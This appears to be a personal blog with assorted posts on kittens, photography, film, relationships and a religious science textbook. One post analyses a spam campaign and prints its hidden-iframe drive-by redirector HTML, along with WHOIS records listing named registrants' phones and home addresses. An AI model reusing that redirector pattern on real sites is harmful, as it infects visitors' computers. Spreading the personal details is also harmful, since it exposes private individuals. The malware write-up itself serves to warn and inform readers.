Kitteh adoption

We have three little teensy cute fuzzy teensy little adorable cute teensy fuzzy cute little kittens right now, which we’re trying to find homes for.

In the meantime, my cat Liam has adopted one of them. The kitten and Liam love each other and are almost inseparable–when I take the kittens out, he tends to go straight for Liam.

It’s heart-melting, really. I think Liam is going to miss him when we find a new home for him.

Woohoo! Site move is finally finished!

I’ve finally completed porting the entire Web site to a content management system on a new server, which is something I’ve been working on for about five months or so. The new has cleaner design, more consistent navigation, a totally revamped photography section with built-in slide show software, and generally brings the site from 1992 Web development standards to 2007 Web development standards. Woo-hoo!

Part of the goal in moving to a content management system was to make updates easier, so I plan on adding all sorts of new content soon. I am definitely interested in feedback about the new layout and navigation, so take a look!

Movie review: Inception

Just got back from watching the new Leonardo DiCaprio movie “Inception.”

Now, normally I like Leonardo DiCaprio movies about as much as I like using rusty razor wire as dental floss, and then following it up by gargling gasoline. While it’s on fire. Plus, the previews made it look like it’d probably end up being visual candy that went nowhere.

But everyone I know who’s seen it raves about it, and so Zaiah and I decided to go see it, Leonardo DiCaprio notwithstanding.

As near as I can tell, the entire point of the movie is a cockwaving fight with Michael Bay, of Transformers fame. In fact, I bet the conversation went something like this:

Michael Bay: I am going to make a movie filled with explosions.
Christopher Nolan: I am going to make a movie filled with explosions.
Michael Bay: I will have car chases in my movie.
Christopher Nolan: I will have car chases in my movie.
Michael Bay: I will have cars that unfold into giant killer robots.
Christopher Nolan: I will have an entire city that folds up into an M. C. Escher piece, with strange and bizarre rules of gravity.
Michael Bay: I will have a hot chick in my movie.
Christopher Nolan: I will have a hot chick in my movie, who is smart, courageous, insightful, strong-willed, and creative.
Michael Bay:
Michael Bay: I will film scenes on location in the Middle East.
Christopher Nolan: I will film on location in Monaco, Japan, Canada, France, and England.
Michael Bay: My movie will be about giant killer robots blowing things up.
Christopher Nolan: My movie will be a surprisingly intelligent, thoughtful introspection on the nature of perception and reality, that also works as a meditation on loss, grief, guilt, and remorse.
Michael Bay:
Michael Bay: I don’t even know what you just said.
Christopher Nolan: I will make a movie that will work on a number of different levels: as a straight-ahead knuckle-biting action-adventure flick, as a study in surrealism, as a character drama, or as a piece on the healing value of catharsis and self-determinism.
Michael Bay: My movie is based on children’s toys.
Christopher Nolan: My movie pays homage to everything from The Matrix to Donnie Darko to the James Bond books, with a nod to the classic cyberpunk notion of corporate multinationals that act like sovereign states and wage wars with their own teams of corporate hit men.
Michael Bay:
Christopher Nolan: And my movie will weave different layers of reality together seamlessly.
Christopher Nolan: Plus, in my movie, the things that happen during the car chase in one reality will affect the things that are happening in the other realities in strange ways.
Christopher Nolan: And I will do it without resorting to any easy storytelling gimmicks.
Michael Bay: Ooh! Easy storytelling gimmicks!
Michael Bay: I will have car chases in my movie!

Six Views of Mt. Hood

A couple of weeks ago, zaiah and I went out a couple hours shy of sunset to do a photo study of Mt. Hood, which looms over Portland like a…well, like a volcano looms over a valley, now that I think about it.

We traveled in a semicircle, getting nearer and nearer to the mountain as the sun set. Sunset on the face of a mountain is nothing if not dramatic. Idon’t think I’ll ever get tired of the view as long as I live here.

Clicky to see more!

Some thoughts about assumptions in relationships

A friend of mine on a different forum remarked recently that we live in a society that doesn’t teach us how to end romantic relationships.

I’ve been chewing on that for a while, and I think it’s true but doesn’t go far enough. We live in a society that doesn’t teach us how to nurture relationships OR end relationships. In fact, it doesn’t even teach us how to START relationships. We seem to hold this notion, as a society, that if you are single and you meet someone you share a connection with, that means you’re supposed to start dating, without any regard as to whether or not you might be remotely compatible. In fact, I’ve even encountered folks who sneer at the notion of “compatibility,” saying that if you REALLY love each other, you should be able to work out any difference you have.

This is, I think, a very toxic idea.

That started me down the path of thinking about the sorts of assumptions we make about our partners, which is something I’ve written about a few times before. I definitely think that many folks carry around with them some pretty poisonous assumptions about their partners, without even thinking about it, so that’s started me setting out some of the productive and non-productive premises on which to build a relationship.

Destructive assumptions to make in a relationship

– My partner doesn’t REALLY love me–not really.

– Given the choice, if someone ‘better’ comes along, my partner would prefer that person over me, and would rather be with that person.

– My partner says things like “I like being with you,” “I find you sexy,” “I am attracted to you,” and “I value our relationship” because those are the things you’re supposed to say. They don’t really mean anything.

– My partner’s exes are dangerous to me because I believe that my partner would secretly prefer to be with them than with me. Anyone my partner finds attractive is dangerous to me because my patner would secretly prefer to be with that person rather than me.

– If I want to preserve my relationship with my partner, I need to keep him or her on a short leash. If given free rein to do whatever he or she wants, my partner would leave me.

– I am not pretty enough/not smart enough/not sexy enough/whatever for my partner. If someone prettier/sexier/whatever comes along, I’m screwed.

– I can not talk openly to my partner about things like my own sexual desires, especially if I think they’re weird or unusual, because if my partner thinks I’m too weird he or she will dump me.

– If my partner masturbates or watches porn, it means I am not enough. I am a failure; I have not done my job in pleasing my partner.

– If my partner talks to someone of the same sex I am, it means he or she is trying to replace me.

– My partner is with me because I tricked him or her, or because I was convenient at the time, or because I was the only thing available, or whatever.

Constructive assumptions to make in a relationship

– My partner loves and cherishes me, and wants to be with me.

– My partner has chosen to be with me because he or she wants to be with me. I offer value to my partner, and given a choice, my partner would still choose to be with me.

– My partner says things like “I like being with you,” “I find you sexy,” “I am attracted to you,” and “I value our relationship” because those things are true.

– My partner is with me because I add value to his or her life. Given a choice, my partner would still choose to be with me.

– Given free rein to make any choice he or she wanted, my partner would choose to be with me. In reality, my partner HAS free rein; he or she could find a way to leave me, if that’s what he or she wanted to do. The fact that my partner is still here should tell me something!

– My partner finds me attractive and worthwhile. I add value to my partner’s life which nobody else can replace.

– A healthy sex life depends on open communication. My partner values me and wants to have a healthy relationship with me; I can count on my partner to listen to what I have to say with respect and compassion.

– Not everything my partner does is about me. The things my partner does are not always a reflection on me. If my partner looks at porn or masturbates, that has nothing to do with me at all.

– Not everything is about sex. My partner can talk to someone of the appropriate sex, or even be friends with someone of the appropriate sex, without it being about sex or about replacing me.

– My partner is with me because he or she wants to be with me, because I add value to his or her life.

Now, it is true that the things I’ve listed as “constructive assumptions” aren’t always valid. There are assholes, liars, manipulators, abusers, cheats, and sneaks of all stripes; and many of them will gladly stomp all over any or all of those basic premises.

So underlying all of these premises is a sort of zeroth premise, which is this:

– I am worth, and deserve, to be treated with a certain basic minimum of respect and love. It is better to have no relationship at all than a relationship in which these things are not true. By starting with these positive assumptions, I can build healthy relationships; partners for whom these assumptions are not true are not worthy of being my partner.

Comments? Suggestions? Got any more?

Fragments of Oregon: Reed Canyon

A couple of weeks ago, zaiah and I had a chance to tour the Reed Canyon Watershed here in Portland. Oregon is a place of amazing and sometimes unexpected natural beauty; they have so much of it they just leave it lying aorund all over the place.

The Reed Canyon Watershed is a natural spring and stream smack-dab in the middle of the city. You could easily drive past it and not even know it’s there. There’s a footbridge and a vehicle bridge crossing over the canyon, with Reed College wrapped around it, but once you get down into it it looks like this:

Click for lots more images!

Computer Malware in 4 seconds

One of my email inboxes lately has been flooded with spam for phony “Canadian pharmacy” sites (does anyone actually believe that scam? Seriously?) And when I say “flooded,” I mean “50-60 a day or so.”

These spam messages come in two varieties. One is standard straight-ahead spam: an image, sometimes in the email and sometimes loaded remotely loaded from the spam site, that advertises cheap prices on Viagra, and a Web link to the spam pharmacy site itself.

The other variety is different. It’s invariably a message claiming to be a bounced email notification, a greeting card notification, or something along those lines, with an attached HTML file. The HTML file, if it is open, redirects to some poor schmuck’s hacked Web site, where it displays the message

“Please, waiting….. 4 seconds”

Then after 4 seconds, it redirects to the same spam pharmacy sites as the first variety.

“Well, hmm,” I thought to myself, “that’s odd. Why is the redirector waiting for four seconds?”

So I looked at some of the redirector pages, and the answer seems to be “Because the spammers are now shitting where they eat.”

Spammers have used computer viruses and malware for years. That’s nothing new. Most computer spam is sent through home Windows PCs that have been infected by viruses. The viruses install back-door remote control software and email server software on the infected PC; the spammers then take over the infected PC, without the owner knowing, and use it to send spam.

But generally speaking, in the past the spammers have not tried to use their fake pharmacy sites th spread malware. They have preferred to keep the malware and the phony medicine separate; they spread malware through one set of sites, and sell fake prescription meds through another.

Not any more.

The new system attempts to download computer malware onto the computers of people who respond to the spam. Here’s how it works:

Step 1: The spammers hack a poorly secured Web site. Often, these are Web sites run by very small companies, using outdated ecommerce software without security patches. I’ve also seen a whole bunch of these sites hosted on GoDaddy and The Planet; I don’t know if these ISPs are directly being attacked, but they seem to be hosting the bulk of the hacked sites.

Step 2: A file named “index3.html” is placed on the hacked Web site. This file looks like this:


<meta http-equiv=”refresh” content=”4;url=” />

<iframe src=’′ width=’1′ height=’1′ style=’visibility: hidden;’></iframe><br>

Step 3: A spam email is created. The spam email has an attached HTML file that looks like this:

<meta http-equiv=”refresh” content=”0;url=” />

The URLs above and elsewhere in this post are live as of the time of this writing. They WILL attempt to download malware in an iFrame before redirecting to a spam pharmacy site. DO NOT attempt to visit these URLs if you don’t know what you’re doing!

Anyone who opens the HTML file attached to the spam email visits the hacked site, in this case They stay on that site for 4 seconds while a hidden iFrame attempts to download a file from another site, in this case the Russian site, hosted by Tata Communications in India. After 4 seconds, the mark is redirected to a run-of-the-mill Badcow fake “Canadian” pharmacy page, in this case, hosted in China.

I have not been able to determine what the iFrame does. On my machine, it downloads blank content. I’ve Googled some of the domains being used in these iFrames (there are several different domains being used in the attacks); some people have claimed that the attack domains examine the user’s browser, then attempt to download a PDF exploit or some other browser exploit if they detect a vulnerable browser configuration.

I’m seeing LOTS of these hacked Web sites, always with a file named “index3.html” and always with a hidden iFrame. The index3.html file always redirects to but may first load the iFrame from one of many different sites.

A partial list of hacked sites, some of which are still active at the time of this writing and some of which are not, includes:

In each case, the “index3.html” file is virtually identical, with the only difference being the server it attempts to load the iFrame from. Attack domains I have seen used in the iFrames include:


% By submitting a query to RIPN’s Whois Service
% you agree to abide by the following terms of use:
% (in Russian)
% (in English).

domain: PANLIP.RU
person: Private Person
phone: +7 472 2311731
registrar: NAUNET-REG-RIPN
created: 2010.07.05
paid-till: 2011.07.05
source: TCI


Registrar: ONLINENIC, INC.
Whois Server:
Referral URL:
Status: clientTransferProhibited
Updated Date: 07-jul-2010
Creation Date: 07-jul-2010
Expiration Date: 07-jul-2011

Anna Veprinceva +7.4957211411
Anna Veprinceva
ul.Kostromskaya d.4 kv.114
Moskva,Moskva,RU 127549

Registration Service Provider:
tel: +7.4955041111
fax: +7.4955041111


Registrar: ONLINENIC, INC.
Whois Server:
Referral URL:
Status: clientTransferProhibited
Updated Date: 07-jul-2010
Creation Date: 07-jul-2010
Expiration Date: 07-jul-2011

Alexander Ksalov +7.4957888901
Alexander Ksalov
Izyumskaya ul. d.26 k.2 kv.54
Moskva,Moskva,RU 117042

Registration Service Provider:
tel: +7.4955041111
fax: +7.4955041111

The payload site,, is pixel-for-pixel identical to the other, more traditional pharmacy spam sites I’m seeing, such as These sites are themselves virtually identical to, and use the same graphics as, other spam sites that places like the Spamtrackers wiki have connected to other Canadian Pharmacy spam (known Canadian Pharmacy spam site on left, on right, click either thumbnail for a larger screen shot):


Conclusion: The Canadian Pharmacy spammers are directly involved in the writing and/or distribution of malware themselves, and have now begun an experiment in which they attempt to infect their own customers with their malware.

Electricity? It’s a mystery!

From The Pharyngula blog comes this little gem, a page from a Fundamentalist Christian textbook about electricity.

Now, anyone who’s read my blog for any length of time will know I’m no fan of right-wing religious zealots. But occasionally they manage to surprise me. Sadly, they tend to surprise me by not even rising to the bar of my already abysmally low expectations; no matter how bad, how ignorant, how credulous, or how dishonest I think these guys are, they somehow manage to be worse.

Here’s the page, scanned from a fourth-grade home-schooling textbook on science (click for a larger version):

This kind of thing is the reason I cringe whenever I hear the phrase “home schooling.” I know there are home schoolers who aren’t ignorant Fundamentalist boobs, but damn, they sure do seem to be a small percentage.

The notion that someone can spout nonsense like “We can not even say where electricity comes from. Some scientists think the sun may be the source of most electricity. Others think that the movement of the earth produces some of it” interspersed with Biblical passages and call the result a science textbook is, to me, beyond belief.

A part of me wants to think that whoever wrote this nonsensical tripe was deliberately lying, because the notion that the author genuinely doesn’t know what electricity is, and furthermore can’t be arsed to look it up on Wikipedia or something, blows my mind. But, no, I do think it’s at least possible that whoever wrote this passage sincerely believes what he wrote.

Taken in a larger context, though, it doesn’t matter whether or not he believes it, or understands enough basic science to understand what electricity is. (“We cannot say what electricity itself is like”? Seriously?) The goal of this book is not to educate the reader about science; indeed, I think the goal of any home-schooler using this material is not to educate their child about science.

No, the goal is something very different. It’s twofold, really. The most obvious intention here is to present the world in a way that makes it as opaque as possible, while simultaneously denigrating the ability of science to make any sense of it; science, in the minds of the Fundamentalists who write and teach drivel like this, is a haphazard conglomeration of a bunch of competing wild-ass guesses about the way things might work, each of which has no real basis in fact. Some scientists think our electricity was produced in the sun; others think that some of it might have come from the movement of the earth. (As a person in the dismal movie Jesus Camp says, “science doesn’t prove anything.”1)

The second aim of this textbook is something more subtle. There is an axiom among many religious Fundamentalists that we can never know something which we do not observe directly. This argument pops up in Creationist arguments with depressing frequency; since we can not go back and directly observe, as a firsthand eyewitness, the creation of the earth or the advent of life, we can never know how it went down; ergo, all ideas about what might have happened are equally likely. And since only one of those ideas has the imprinteur of God, that’s the most likely one. All the other ideas are merely idle speculation; since we can’t go back and see it happen, we can’t actually say we have any evidence for it. Only eyewitness evidence2 matters.

And on those counts, I think this passage does precisely what it intends to do.

1 Which might be true from a particular perspective, in the sense that the scientific method seeks hypotheses which are falsifiable, and model is only as good as the next data point which contradicts it. But the Fundies who spout “science doesnt prove anything” mean something quite different; they’re basically saying that science is not useful as a tool to understand the physical world. And that blatantly isn’t so.

2 Or the scribblings of a bunch of barely literate Bronze Age tribesmen which have been shuffled around, rearranged to suit various political factions several times throughout history, and then badly tanslated into a succession of languages, presumably.